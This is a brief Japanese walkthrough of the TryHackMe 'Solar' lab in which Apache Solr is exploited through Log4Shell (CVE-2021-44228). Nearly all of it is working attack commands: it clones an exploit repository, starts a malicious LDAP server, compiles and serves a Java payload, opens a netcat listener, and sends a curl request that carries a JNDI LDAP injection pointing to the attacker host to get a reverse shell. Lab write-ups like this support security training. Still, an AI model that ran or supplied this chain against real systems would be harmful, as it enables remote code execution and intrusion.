💻 -h3x0v3rl0rd-

log4j CVE-2021-44228 のエクスプロイト (TryHackMe Solar ウォークスルー)

git clone https://github.com/n3rdh4x0r/log4j.git 

1. log4j.py を実行します (必要なアプリケーションをすべてインストールし、LDAP サーバーを起動します)

ifconfig tun0
python3 log4j.py 10.8.227.251

2. 攻撃者の IP を Exploit.java ファイルに追加します

3. ペイロードをコンパイルします

javac Exploit.java -source 8 -target 8

4. 一時的な HTTP サーバー

python3 -m http.server 8888

5. netcat リスナー

nc -lnvp 9999

6. 最後に、あとはエクスプロイトをトリガーして JNDI 構文を送信するだけです!ポート番号の変更 (今回の LDAP サーバーを参照) と、取得するリソースに注目してください。エクスプロイトを指定しています:

curl 'http://10.10.45.175:8983/solr/admin/cores?foo=$\{jndi:ldap://10.8.227.251:1389/Exploit\}'